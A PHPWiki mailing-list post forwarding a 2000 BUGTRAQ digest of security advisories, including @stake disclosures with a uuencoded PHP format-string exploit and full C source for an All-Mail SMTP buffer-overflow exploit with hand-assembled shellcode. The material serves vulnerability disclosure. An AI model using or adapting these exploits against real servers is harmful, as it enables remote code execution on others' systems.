Thread: [Phpwiki-talk] Vulnerability in PHP3/4

SourceForge Headquarters 1320 Columbia Street Suite 310 San Diego, CA 92101 +1 (858) 422-6466

This BUGTRAQ digest contains information on a remote exploit for web
servers running PHP. You should read it and verify your system is not
vulnerable.

sw

...............................ooo0000ooo.................................
   Hear FM quality freeform radio through the Internet: http://wcsb.org/
                     home page: www.wcsb.org/~swain 

---------- Forwarded message ----------
Date: Fri, 13 Oct 2000 00:00:25 -0700
From: Automatic digest processor <LIS...@LI...>
Reply-To: Bugtraq List <BU...@SE...>
To: Recipients of BUGTRAQ digests <BU...@LI...>
Subject: BUGTRAQ Digest - 11 Oct 2000 to 12 Oct 2000 (#2000-231)

There are 11 messages totalling 1355 lines in this issue.

Topics of the day:

  1. Shred v1.0 Fix
  2. MDKSA-2000:057 - openssh update
  3. Security Bulletins Digest
  4. @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A
     101200-1)
  5. Buggy ARP handling in Windoze
  6. @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 )
  7. Shred 1.0 Bug Report (2)
  8. GPG 1.0.3 doesn't detect modifications to files with multiple signatures
  9. solaris8 dtmail
 10. Netscape Messaging server 4.15 poor error strings

----------------------------------------------------------------------

Date:    Thu, 12 Oct 2000 22:30:56 +0900
From:    Chiaki Ishikawa <Chi...@PE...>
Subject: Re: Shred v1.0 Fix

X-PMC-CI-e-mail-id: 13785

Hi,

Looking at the fix, I have some comments.

Shouldn't we check

 - the return value of fwrite() [Yes, I am paranoia.],

 - the return value of unlink()  [ ditto ]

 - the return value of fopen in filesize(),

 (Since we call filesize() from overwrite() in which
  fopen() for the file in question is done anyway,
  we might check the filesize in overwrite() AFTER
  obtaining the fopen() without requiring
  filesize() to fopen/fclose. Or we just pass
  the fp instead of the filename...)

Should we not

 - abort if fstat() in filesize somehow failed [something is
   really screwed up if so.]

 - warn the user just in case the remaining link count
   will NOT be zero and the overwritten file
   is still referenced somehow under a different name.

Just a thought.

--
     Ishikawa, Chiaki        ish...@pe...  or
 (family name, given name) Chi...@pe...
    Personal Media Corp.      ** Remove .NoSpam at the end before use **
  Shinagawa, Tokyo, Japan 142-0051

------------------------------

Date:    Thu, 12 Oct 2000 15:58:41 +0200
From:    Markus Friedl <mar...@IN...>
Subject: Re: MDKSA-2000:057 - openssh update

hello,

this makes no sense at all. the problem is about 'defects' in scp/rcp,
and has nothing to do with /usr/bin/ssh having sbits turned off or not.

this advisory is wrong, and missleading at its best.

-markus (@openssh.com)

On Tue, Oct 10, 2000 at 11:51:16AM -0600, Linux Mandrake Security Team wrote:
> ________________________________________________________________________
>
> Package name:		openssh
> Date:			October 10th, 2000
> Advisory ID:		MDKSA-2000:057
>
> Affected versions:	7.0, 7.1
> ________________________________________________________________________
>
> Problem Description:
>
>  A problem exists with openssh's scp program.  If a user uses scp to
>  move files from a server that has been compromised, the operation can
>  be used to replace arbitrary files on the user's system.  The problem
>  is made more serious by setuid versions of ssh which allow overwriting
>  any file on the local user's system.  If the ssh program is not setuid
>  or is setuid to someone other than root, the intrustion is limited to
>  files with write access granted to the owner of the ssh program.  In
>  either case, files can be overwritten with code allowing others access
>  to the system unexpectedly.  While no fix has been provided for openssh
>  as of yet, the versions of openssh available for Linux-Mandrake 7.0 and
>  7.1 were setuid root.  This update removes the setuid bit from the ssh
>  program and limits the exploitability of scp somewhat.  All users of
>  Linux-Mandrake are encouraged to upgrade to these latest openssh
>  builds.  Linux-Mandrake 7.0 users will also need to upgrade openssl in
>  order to use the 7.0 update of openssh.
> ________________________________________________________________________

------------------------------

Date:    Thu, 12 Oct 2000 14:11:10 +0200
From:    "Oonk, Patrick" <pa...@PI...>
Subject: Security Bulletins Digest

                        HP Support Information Digests

===============================================================================
o  IT Resource Center World Wide Web Service
   ---------------------------------------------------

   If you subscribed through the IT Resource Center and would
   like to be REMOVED from this mailing list, access the
   IT Resource Center on the World Wide Web at:

     http://us.itrc.hp.com/

   Login using your IT Resource Center User ID and Password.
   Then select Support Information Digests (located under
   Maintenance and Support).  You may then unsubscribe from the
   appropriate digest.
===============================================================================

Digest Name:  Daily Security Bulletins Digest
    Created:  Thu Oct 12  3:00:02 PDT 2000

Table of Contents:

Document ID      Title
---------------  -----------
HPSBUX0010-124   Sec. Vulnerability in VVOS NSAPI

The documents are listed below.
-------------------------------------------------------------------------------

Document ID:  HPSBUX0010-124
Date Loaded:  20001011
      Title:  Sec. Vulnerability in VVOS NSAPI

-------------------------------------------------------------------------
    HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #0124, 12 Oct. '00
-------------------------------------------------------------------------

 The information in the following Security Bulletin should be acted upon
 as soon as possible.  Hewlett-Packard Company will not be liable for any
 consequences to any customer resulting from customer's failure to fully
 implement instructions in this Security Bulletin as soon as possible.

-------------------------------------------------------------------------
PROBLEM:  The NSAPI plugin versions of the TGA and the Java Servlet
          proxy demonstrate high CPU utilization under certain
          conditions.

PLATFORM: HP9000 Series 7/800 running HP-UX 10.24 and 11.04 (VVOS)
          with VirtualVault (US/Canada or International).

DAMAGE:   Potential denial of services.

SOLUTION: Apply the appropriate patch:
              HP-UX release 10.24:                 PHSS_22187
              HP-UX release 11.04:                 PHSS_22296

AVAILABILITY: The patches are currently available.
-------------------------------------------------------------------------
I.
   A. Background
      The NSAPI plugin versions of the TGA and the Java Servlet
      proxy demonstrate high CPU utilization under certain conditions.
      when running under the VirtualVault Operating System (VVOS).

   B. Fixing the problem
      This problem can be eliminated by installing one of the following
      patches.

      Under HP-UX 10.24, with VirtualVault A.03.50 (both US/Canada
      and International):                                PHSS_22187

      Under HP-UX 11.04, with VirtualVault A.04.00 (both US/Canada
      and International):                                PHSS_22296

   C. To subscribe to automatically receive future NEW HP Security
      Bulletins from the HP IT Resource Center via electronic mail,
      do the following:

      Use your browser to get to the HP IT Resource Center page
      at:

        http://us-support.external.hp.com
               (for US, Canada, Asia-Pacific, & Latin-America)
        http://europe-support.external.hp.com     (for Europe)

      Under the Maintenance and Support Menu (Electronic Support Center):
        click on the "more..." link.  Then -

      To -subscribe- to future HP Security Bulletins, or
      To -review- bulletins already released
        click on "Support Information Digests" near the bottom of the
        page, under "Notifications".

      Login with your user ID and password (or register for one).
      (Remember to save the User ID assigned to you, and your password).

      On the "Support Information Digest Main" page:
      click on the "HP Security Bulletin Archive".

      Once in the archive the third link is to our current Security
      Patch Matrix.  Updated daily, this matrix categorizes security
      patches by platform/OS release, and by bulletin topic.

      The security patch matrix is also available via anonymous ftp:

      ftp.itrc.hp.com
      ~ftp/export/patches/hp-ux_patch_matrix

   D. To report new security vulnerabilities, send email to

       sec...@hp...

      Please encrypt any exploit information using the security-alert
      PGP key, available from your local key server, or by sending a
      message with a -subject- (not body) of 'get key' (no quotes) to
      sec...@hp....

     Permission is granted for copying and circulating this bulletin to
     Hewlett-Packard (HP) customers (or the Internet community) for the
     purpose of alerting them to problems, if and only if, the bulletin
     is not edited or changed in any way, is attributed to HP, and
     provided such reproduction and/or distribution is performed for
     non-commercial purposes.

     Any other use of this information is prohibited. HP is not liable
     for any misuse of this information by any third party.
_________________________________________________________________________
-----End of Document ID:  HPSBUX0010-124--------------------------------------

------------------------------

Date:    Thu, 12 Oct 2000 10:04:32 -0400
From:    "@stake Advisories" <adv...@AT...>
Subject: @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A
         101200-1)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

We contacted the PHP team on 10/3/2000 concerning this problem. We =
wanted
to hold off releasing our advisory until a fix was available for PHP3
since some users may not be able to easily upgrade to PHP4.  Fixes for
PHP3 and PHP4 are now available. We are aware that Jouko Pynn=F6nen
<jo...@so...> found this problem independantly but chose to =
release
before the PHP3 fix was available.

Weld Pond

                          @stake, Inc.
                        www.atstake.com  =20

                       Security Advisory

Advisory Name: PHP3/PHP4 Logging Format String Vulnerability
 Release Date: 10/12/2000
  Application: PHP3 and PHP4
     Platform: All platforms
     Severity: Attacker can remotely compromise PHP3 enabled =
webservers,
               and most likely PHP4 enabled webservers
       Author: DilDog [di...@at...]
Vendor Status: Fix for PHP3 and PHP4 available
          Web: www.atstake.com/research/advisories/2000/a101200-1.txt

Executive Summary

	PHP versions 3 and 4 are vulnerabled to format string attacks in
their logging functions. This can lead to remote takeover of PHP =
enabled
webservers that have logging enabled.

Overview

	PHP versions 3 and 4 employ a set of logging functions that,
through an improper use of 'syslog()' and 'vsnprintf()', render it
vulnerable to attack. The attacker could utilize this vulnerability to
remotely compromise any PHP enabled webserver that has logging to =
either
syslog or to a file enabled in the 'php.ini' configuration file. This
particular attack does not affect PHP installations that do not log PHP
errors and warnings.

Detailed Description

PHP versions 3 and 4 utilize the following functions:

main/php_syslog.h:

#define php_syslog syslog

main/main.c:

void php_log_err(char *log_message)
{
	...     =20
	php_syslog(LOG_NOTICE, log_message)
	...

	fprintf(log_file, "[%s] ", error_time_str);
	fprintf(log_file, log_message);
                fprintf(log_file, "\n");
...
}

	Hence, if the "log_message" contains any user input at all, then
it creates a vulnerability. An exploitable condition is presented in =
the
following code for PHP 3, since 'php3_error' calls down to php_log_err =
if
logging is enabled:

main/main.c:

PHPAPI void php3_error(int type, const char *format,...) {
	...
	char log_buffer[1024];
                snprintf(log_buffer, 1024, "PHP 3 %s:  %s in %s on line =
%d",
error_type_str, buffer, filename, =
php3_get_lineno(GLOBAL(current_lineno)));

	php3_log_err(log_buffer);
	...
}

functions/post.c:

static char *php3_getpost(pval *http_post_vars)
{
	...
	php3_error(E_WARNING, "File Upload Error: No MIME boundary
	found");
        php3_error(E_WARNING, "There should have been a
	\"boundary=3D3Dsomething\" in the Content-Type string");
	php3_error(E_WARNING, "The Content-Type string was: \"%s\"",
	ctype);
	...
}

	PHP4 looks vulnerable as well, but in a different place. When a
file is uploaded via a post operation, if the file name contains format
string exploit code, and the file size is larger than the maximum file
size for uploads, the following code is executed. Note that this =
possible
problem has not been tested by @stake, but the code path looks
problematic:

static void php_mime_split(char *buf, int cnt, char *boundary, zval
*array_ptr)
{
	...
	php_error(E_WARNING, "Max file size exceeded - file [%s] not
	saved", namebuf);
	...
}

Temporary Solution

Turn off logging on PHP3 and PHP4 by going into your 'php.ini'
file and changing the following settings to:

log_errors =3D Off

Vendor Response

A fixed version of PHP4 is available:
http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz  =20

A fixed version of PHP3 is available:
http://www.php.net/distributions/php-3.0.17.tar.gz

Proof-of-Concept Code

	This proof of concept code creates a zero length file in
/tmp/BADPHP. Use like this:

gcc badphp.c && ./a.out <ip address of webserver> <port of webserver>=20
<php file path>

(php file path must point to an existing php file, such as /foo.php3)

begin 644 badphp.c

M(VEN8VQU9&4\<W1D:6\N:#X*(VEN8VQU9&4\<WES+W1Y<&5S+F@^"B-I;F-L

M=3D61E/'-Y<R]S;V-K970N:#X*(VEN8VQU9&4\;F5T:6YE=3D"]I;BYH/@HC:6YC

M;'5D93QA<G!A+VEN970N:#X*(VEN8VQU9&4\;F5T9&(N:#X*"B-D969I;F4@

M0E-)6D4@,34T.0HC9&5F:6YE($)51D9%4EI/3D4@,3(X"@II;G0@;6%I;BAI

M;G0@87)G8RP@8VAA<B`J87)G=3DEM=3D*0I["B`@:6YT(&DL<W1A<G0L8V]U;G0[

M"B`@:6YT('-T86-K;&]C/3!X0D9&1D1!-C`["B`@:6YT(',["B`@1DE,12`J

M9CL*("!F9%]S970@<F9D<SL*("!S=3D')U8W0@:&]S=3D&5N=3D"`J:&4["B`@<W1R

M=3D6-T('-O8VMA9&1R7VEN('-A9&1R.PH@(&-H87(@<W!L;VET6T)325I%73L*

M("!C:&%R(&9I;&5;73TB+W1M<"]"04102%`B.PH@(&-H87(@8SL*"B`@:68H

M87)G8R$]-2D@>PH@("`@<')I;G1F*"(E<R`\861D<CX@/'!O<G0^(#QO9F9S

M970^(#QP:'`@9FEL92!N86UE/EQN(BQA<F=3DV6S!=3D*3L*("`@('!R:6YT9B@B

M;V9F<V5T/3`@9F]R(&UO<W0@<WES=3D&5M<RY<;B(I.R`*("`@(')E=3D'5R;B`P

M.PH@('T*"B`@+RHJ*B!B=3D6EL9"!E>'!L;VET('-T<FEN9R`J*BHO"B`@"B`@

M+RH@=3DW)I=3D&4@8F%D(&9O<FUA=3D"!S=3D')I;F<L(&%D9&EN9R!I;B!O9F9S970@

M*B\*("!S;G!R:6YT9BAS<&QO:70L<VEZ96]F*'-P;&]I=3D"DL"@D@("`B0V]N

M=3D&5N=3D"U4>7!E.FUU;'1I<&%R=3D"]F;W)M+61A=3D&$@)24E=3D5@E)5@E)5@E)6AN

M(BP*"2`@(#4U.#$W("\J*V]F9G-E=3D#`L,2PR+#,J+R`I.PH*("`O*B!F:6QL

M('=3DI=3D&@@8G)E86MP;VEN=3D',@86YD(&YO<',J+PH@('-T87)T/7-T<FQE;BAS

M<&QO:70I.PH@(&UE;7-E=3D"AS<&QO:70K<W1A<G0L,'A#0RQ"4TE:12US=3D&%R

M=3D"D["B`@;65M<V5T*'-P;&]I=3D"MS=3D&%R=3D"M"549&15):3TY%*C0L,'@Y,"Q"

M549&15):3TY%*C0I.PH@('-P;&]I=3D%M"4TE:12TQ73TP.PH@(`H@("\J('!O

M:6YT97(@=3D&\@<W1A<G0@;V8@8V]D92`H<W1A8VML;V,K-"D@*B\*("!C;W5N

M=3D#U"549&15):3TY%.PH@(&9O<BAI/3`[:3QC;W5N=3D#MI*RLI('L*("`@('5N

M<VEG;F5D(&EN=3D"!V86QU93US=3D&%C:VQO8RLT*RAC;W5N=3D"HT*3L*("`@(&EF

M*"AV86QU928P>#`P,#`P,$9&*3T],"D@=3DF%L=3D65\/3!X,#`P,#`P,#0["B`@

M("!I9B@H=3DF%L=3D64F,'@P,#`P1D8P,"D]/3`I('9A;'5E?#TP>#`P,#`P-#`P

M.PH@("`@:68H*'9A;'5E)C!X,#!&1C`P,#`I/3TP*2!V86QU97P],'@P,#`T

M,#`P,#L*("`@(&EF*"AV86QU928P>$9&,#`P,#`P*3T],"D@=3DF%L=3D65\/3!X

M,#0P,#`P,#`["B`@("`J*'5N<VEG;F5D(&EN=3D"`J*28H<W!L;VET6W-T87)T

M*VDJ-%TI/79A;'5E.PH@('T*("!S=3D&%R=3D"L]0E5&1D526D].12HT*C(["@H@
M("\J*BH@8G5I;&0@<VAE;&QC;V1E("HJ*B\*"B`@<W!L;VET6W-T87)T*S!=3D

M/3!X.3`[("\J(&YO<"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ73TP>$)!.R`O

M*B!M;W8@961X+"`H;F]T(#!X,4(V("AA*W)W*2D@*B\*("!S<&QO:71;<W1A

M<G0K,ET],'@T.3L*("!S<&QO:71;<W1A<G0K,UT],'A&13L*("!S<&QO:71;

M<W1A<G0K-%T],'A&1CL*("!S<&QO:71;<W1A<G0K-5T],'A&1CL*"B`@<W!L

M;VET6W-T87)T*S9=3D/3!X1C<[("\J(&YO=3D"!E9'@@*B\*("!S<&QO:71;<W1A

M<G0K-UT],'A$,CL*"B`@<W!L;VET6W-T87)T*SA=3D/3!X0CD[("\J(&UO=3DB!E

M8W@L("AN;W0@,'@T,"`H3U]#4D5!5"DI("HO"B`@<W!L;VET6W-T87)T*SE=3D

M/3!X0D8["B`@<W!L;VET6W-T87)T*S$P73TP>$9&.PH@('-P;&]I=3D%MS=3D&%R

M=3D"LQ,5T],'A&1CL*("!S<&QO:71;<W1A<G0K,3)=3D/3!X1D8["B`@"B`@<W!L

M;VET6W-T87)T*S$S73TP>$8W.R`O*B!N;W0@96-X("HO"B`@<W!L;VET6W-T

M87)T*S$T73TP>$0Q.PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ-5T],'A%.#L@+RH@

M8V%L;"!E:7`K-"`K(&EN8R!E87@@*&]V97)L87!P:6YG*2`J+PH@('-P;&]I

M=3D%MS=3D&%R=3D"LQ-ET],'A&1CL@"B`@<W!L;VET6W-T87)T*S$W73TP>$9&.R`*

M("!S<&QO:71;<W1A<G0K,3A=3D/3!X1D8[(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ.5T]

M,'A&1CL@"B`@<W!L;VET6W-T87)T*S(P73TP>$,P.PH@('-P;&]I=3D%MS=3D&%R

M=3D"LR,5T],'@U0CL@+RH@<&]P(&5B>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR,ET]

M,'@V03L@+RH@<'5S:"`R,B`H;V9F<V5T('1O(&5N9"!O9B!S<&QO:70@*&9I

M;&5N86UE*2D@*B\*("!S<&QO:71;<W1A<G0K,C-=3D/3!X,38["B`@<W!L;VET

M6W-T87)T*S(T73TP>#4X.R`O*B!P;W`@96%X("HO"B`@<W!L;VET6W-T87)T

M*S(U73TP>#`S.R`O*B!A9&0@96)X+&5A>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR

M-ET],'A$.#L*("`*("!S<&QO:71;<W1A<G0K,C=3D=3D/3!X,S,[("\J('AO<B!E

M87@L96%X("HO"B`@<W!L;VET6W-T87)T*S(X73TP>$,P.PH*("!S<&QO:71;

M<W1A<G0K,CE=3D/3!X.#@[("\J(&UO=3DB!B>71E('!T<B!;96)X*S$Q72QA;"`J

M+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,%T],'@T,SL*("!S<&QO:71;<W1A<G0K,S%=3D

M/3!X,$(["B`*("!S<&QO:71;<W1A<G0K,S)=3D/3!X.#,[("\J(&%D9"!E87@L

M-2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,UT],'A#,#L*("!S<&QO:71;<W1A<G0K

M,S1=3D/3!X,#4["@H@('-P;&]I=3D%MS=3D&%R=3D"LS-5T],'A#1#L@+RH@:6YT(#@P

M("AO<&5N*2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS-ET],'@X,#L*"B`@<W!L;VET

M6W-T87)T*S,W73TP>#,S.R`O*B!X;W(@96%X+&5A>"`J+PH@('-P;&]I=3D%MS

M=3D&%R=3D"LS.%T],'A#,#L*(`H@('-P;&]I=3D%MS=3D&%R=3D"LS.5T],'@T,#L@+RH@

M:6YC(&5A>"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LT,%T],'A#1#L@+RH@:6YT

M(#@P("A?97AI=3D"D@*B\*("!S<&QO:71;<W1A<G0K-#%=3D/3!X.#`["B`@"B`@

M+RH@861D(&9I;&5N86UE('1O('1O=3D6-H("HO"B`@<W1R;F-P>2@F<W!L;VET

M6W-T87)T*S0R72QF:6QE+'-T<FQE;BAF:6QE*2D["@H@("\J*BH@<V5N9"!E

M>'!L;VET('-T<FEN9R`J*BHO"B`*("`O*B!C<F5A=3D&4@<V]C:V5T("HO"B`@

M<SUS;V-K970H4$9?24Y%5"Q33T-+7U-44D5!32Q)4%!23U1/7U1#4"D["B`@=20
M:68H<SPP*2!["B`@("!P<FEN=3D&8H(F-O=3D6QD;B=3DT(&-R96%T92!S;V-K970N

M7&XB*3L*("`@(')E=3D'5R;B`P.PH@('T@"B`*("`O*B!C;VYN96-T('1O('!O

M<G0@*B\*("!M96US970H)G-A9&1R+#`L<VEZ96]F*'-A9&1R*2D["B`@<V%D

M9'(N<VEN7V9A;6EL>3U!1E])3D54.PH@('-A9&1R+G-I;E]P;W)T/6AT;VYS

M*&%T;VDH87)G=3DELR72DI.PH@(&AE/6=3DE=3D&AO<W1B>6YA;64H87)G=3DELQ72D[

M"B`@:68H:&4]/4Y53$PI('L*("`@('!R:6YT9B@B:6YV86QI9"!H;W-T;F%M

M92Y<;B(I.PH@('T*("!M96UC<'DH)BAS861D<BYS:6Y?861D<BYS7V%D9'(I

M+&AE+3YH7V%D9')?;&ES=3D%LP72QS:7IE;V8H<W1R=3D6-T(&EN7V%D9'(I*3L*

M"B`@:68H8V]N;F5C=3D"AS+"AS=3D')U8W0@<V]C:V%D9'(@*BDF<V%D9'(L<VEZ

M96]F*'-A9&1R*2DA/3`I('L*("`@('!R:6YT9B@B8V]U;&1N)W0@8V]N;F5C

M=3D"Y<;B(I.PH@("`@<F5T=3D7)N(#`["B`@?0H@(`H@("\J(&9D;W!E;B!T:&4@

M<V]C:V5T('1O('5S92!S=3D')E86T@9G5N8W1I;VYS("HO"B`@9CUF9&]P96XH

M<RPB=3DR(I.PH@(&EF*&8]/4Y53$PI('L*("`@(&-L;W-E*',I.PH@("`@<')I

M;G1F*")C;W5L9&XG=3D"!F9&]P96X@<V]C:V5T+EQN(BD["B`@("!R971U<FX@

M,#L*("!]"@H@("\J('!U=3D"!T:&4@<&]S=3D"!R97%U97-T('1O('1H92!S;V-K

M970@*B\*("!F<')I;G1F*&8L(E!/4U0@)7,@2%144"\Q+C!<;B(L87)G=3DELT

M72D["B`@9G!U=3D',H<W!L;VET+&8I.PH@(&9P=3D71C*"=3D<;B<L9BD["B`@9G!U

M=3D&,H)UQN)RQF*3L*("!F9FQU<V@H9BD["@H@("\J(&-L;W-E('1H92!S;V-K

M970@*B\*("!F8VQO<V4H9BD["B`@8VQO<V4H<RD["@H@(')E=3D'5R;B`P.PI]

("@H*"@H*"@H`

`

end       =20

For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOeXDs1ESXwDtLdMhEQKhfQCg9vH3t5G8VsJfm87jcfFd1+wUwSUAoPK0
Nuo1xrPafrB4/ktOyIvMJzzf
=3DURKs
-----END PGP SIGNATURE-----

------------------------------

Date:    Tue, 10 Oct 2000 20:03:41 +0200
From:    "Woch, Wojtek" <ww...@CP...>
Subject: Re: Buggy ARP handling in Windoze

Paul Starzetz wrote:

> I discovered a strange bug in the ARP handling under Windows 98/latest
> Winsock patch (IGMP). Win98 (at almost Win95 as far as tested) would not
> handle static ARP entries correctly. Setting up an static ARP cache

Testing on NT 4.0 with SP6a shows that it behaves the same, although
the spoofed machine complains in its event log with a Tcpip event #4199
and an application popup #26 (IP address conflict).

It appears also that as long as the IP address is in the ARP cache,
it's MAC address can be overwritten - even if the entry is flagged as
dynamic. But as Yuri Volobuev noted in his post "Redir games with ARP
and ICMP", you would need to inject ARP packets continously in this case.

cf http://www.securityfocus.com/templates/archive.pike?start=2000-10-08&list=1&end=2000-10-14&tid=7665&threads=0&

------------------------------

Date:    Thu, 12 Oct 2000 12:07:28 -0400
From:    "@stake Advisories" <adv...@AT...>
Subject: @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 )

The signature was botched on the first one.  Please use this is possible.

-weld

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

                              @stake Inc.
                            www.atstake.com

                           Security Advisory

Advisory Name: All-Mail buffer overrun vulnerability
 Release Date: 10/12/2000
  Application: Nevis Systems All-Mail 1.1
     Platform: Windows NT 4.0 / 2000
     Severity: There are several buffer overflow conditions
               that could result in execution of arbitrary
               code or a denial of service.
      Authors: David Litchfield [dli...@at...]
Vendor Status: Vendor alerted - details bellow.
          Web: www.atstake.com/research/advisories/2000/a101200-2.txt

Overview:

	Nevis System's All-Mail (http://www.n-systems.com/) is a personal
and small office mail server written for the Windows platform. There are
various buffer overrun vulnerabilities in this server that can allow a
remote attacker to gain complete control of the server's execution and
execute arbitrary computer code.

There are a several methods that can be used to overflow various static
buffers in the SMTP component of the server for examples having an overly
long "mail from" or "rcpt to" command.

Proof of Concept

The following code will connect to TCP port 25 on the remote system and
then cause the overflow. The code executed here simply spawns a shell,
performs a directory listing and pipes the output to a file called
"allmail_orun.txt" on the target system. This will allow users to check if
their mail server is vulnerable by testing for the file.

Cut --------8<----------------------

#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>

struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";

int main(int argc, char *argv[])
{
	int chk=0,count=0;
	char
buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPP
PQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ11112222333344445555666677778888999
90000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrr
rssssttttuuuuvvvvwwwwxxxxyy";

	if(argc == 1)
		{
			printf("\n\tUsage: C:\\>%s host\n\tTests for
All-Mail buffer overflow\n\tDavid Litchfield 10th October
2000\n\n",argv[0]);
			return 0;
		}

	strncpy(hostname,argv[1],250);

	// Overwrite the saved return address with 0x77F32836
	// This address contains a JMP ESP instruction that
	// when executed will land us back in our buffer

	buffer[242]=0x36;
	buffer[243]=0x28;
	buffer[244]=0xF3;
	buffer[245]=0x77;

	count = 246;

	// This part of the buffer gets zapped - just put NOPs in

	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;

	// This is where our code starts in earnest

	// mov esp,ebp
	buffer[count++]=0x8B;
	buffer[count++]=0xEC;

	// With our stack perserved and our code safe we continue

	// mov ebx,esp
	buffer[count++]=0x8B;
	buffer[count++]=0xDC;

	// mov eax,77F1A986h
	buffer[count++]=0xB8;
	buffer[count++]=0x86;
	buffer[count++]=0xA9;
	buffer[count++]=0xF1;
	buffer[count++]=0x77;

	// xor esi,esi
	buffer[count++]=0x33;
	buffer[count++]=0xF6;

	// push esi
	buffer[count++]=0x56;

	// mov ecx, 0xFFFFFFFF
	buffer[count++]=0xB9;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;

	// sub ecx, 0x0D7
	buffer[count++]=0x83;
	buffer[count++]=0xE9;
	buffer[count++]=0xD7;

	// loophere:

	// sub dword ptr[ebx+0x50],1
	buffer[count++]=0x83;
	buffer[count++]=0x6B;
	buffer[count++]=0x50;
	buffer[count++]=0x01;

	// sub ebx,1
	buffer[count++]=0x83;
	buffer[count++]=0xEB;
	buffer[count++]=0x01;

	// sub ecx,1
	buffer[count++]=0x83;
	buffer[count++]=0xE9;
	buffer[count++]=0x01;

	// test ecx,ecx
	buffer[count++]=0x85;
	buffer[count++]=0xC9;

	// jne loophere
	buffer[count++]=0x75;
	buffer[count++]=0xF2;

	// add ebx,0x55
	buffer[count++]=0x83;
	buffer[count++]=0xC3;
	buffer[count++]=0x55;

	// push ebx	
	buffer[count++]=0x53;

	// call eax
	buffer[count++]=0xFF;
	buffer[count++]=0xD0;

	// This bunch is our command to run:
	// cmd.exe /c dir > allmail_orun.txt
	// but with 1 added to evey character
	// which is SUBed in the loop above
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x64;
	buffer[count++]=0x6e;
	buffer[count++]=0x65;
	buffer[count++]=0x2f;
	buffer[count++]=0x66;
	buffer[count++]=0x79;
	buffer[count++]=0x66;
	buffer[count++]=0x21;
	buffer[count++]=0x30;
	buffer[count++]=0x64;
	buffer[count++]=0x21;
	buffer[count++]=0x65;
	buffer[count++]=0x6a;
	buffer[count++]=0x73;
	buffer[count++]=0x21;
	buffer[count++]=0x3f;
	buffer[count++]=0x21;
	buffer[count++]=0x62;
	buffer[count++]=0x6d;
	buffer[count++]=0x6d;
	buffer[count++]=0x6e;
	buffer[count++]=0x62;
	buffer[count++]=0x6a;
	buffer[count++]=0x6d;
	buffer[count++]=0x60;
	buffer[count++]=0x70;
	buffer[count++]=0x73;
	buffer[count++]=0x76;
	buffer[count++]=0x6f;
	buffer[count++]=0x2f;
	buffer[count++]=0x75;
	buffer[count++]=0x79;
	buffer[count++]=0x75;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;

	if(startWSOCK(hostname)!=0)
		{
			printf("Winsock Error!\n");
			return 0;
		}

	DoBufferOverrun(buffer);

	return 0;

}	

int startWSOCK(char *swhost)
{
	int err=0;
	WORD wVersionRequested;
	WSADATA wsaData;

	wVersionRequested = MAKEWORD( 2, 0 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 )
		{

			return 2;
		}
	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
!= 0 )
		{
   	 		WSACleanup( );
    			return 3;
		}

	if ((he = gethostbyname(swhost)) == NULL)
		{
			printf("Host not found..");
			return 4;
		}
	sa.sin_addr.s_addr=INADDR_ANY;
	sa.sin_family=AF_INET;
	memcpy(&sa.sin_addr,he->h_addr,he->h_length);

	return 0;
}	

int DoBufferOverrun(char *exploit)
{

	int snd, rcv, err, count =0,incount = 0;	
	char resp[200],*loc=NULL;

	sa.sin_port=htons(25);
	sock=socket(AF_INET,SOCK_STREAM,0);
	bind(sock,(struct sockaddr *)&sa,sizeof(sa));
	if (sock==INVALID_SOCKET)
		{
			closesocket(sock);
			return 0;
		}

	if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
		{

			closesocket(sock);
			printf("Failed to connect\n");
			return 0;
		}
	else
		{
			rcv = recv(sock,resp,200,0);
			snd = send(sock,"helo
all-mail.overrun.test\r\n",28,0);
			rcv = recv(sock,resp,200,0);
			loc = strstr(resp,"250 HELO accepted");
			if(loc == NULL)
				{
					printf("Server does not appear to be
running All-Mail\nAborting...");
					closesocket(sock);
					return 0;
				}
			else
				{
					snd = send(sock,"mail from:
<",12,0);
					snd =
send(sock,exploit,strlen(exploit),0);
					snd = send(sock,">\r\n",3,0);
					printf("Payload
sent...allmail_orun.txt should have been created.\n");
				}
		}

closesocket(sock);
return 0;
}

Cut -------8<---------

Vendor Response:

	When informed of these issues the vendor has decided not to support
this product any longer and have stated they will inform their customers of
what they should do.

